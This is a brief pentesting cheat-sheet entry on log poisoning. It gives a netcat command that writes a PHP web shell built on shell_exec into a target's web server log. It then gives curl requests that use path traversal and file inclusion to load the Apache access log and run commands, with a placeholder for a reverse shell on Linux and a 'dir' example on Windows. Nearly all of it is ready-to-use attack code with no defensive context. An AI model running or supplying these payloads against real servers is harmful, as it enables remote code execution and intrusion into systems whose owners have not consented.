# Log poisoning

**#Poison logs with netcat**

```
nc 10.10.10.14 80
<?php echo '<pre>' . shell_exec($_GET['cmd'])  . '</pre>'; ?>
```

**#Linux target**

```
curl http://target.com/index.php?view=../../../var/log/apache2/access.log&cmd=INSERT REVSHELL HERE | BASH | PYTHON ... 
```

**#Windows target**

```
curl http://target.com/menu.php?file=c:\xamp\apache\logs\access.log&cmd=dir
```

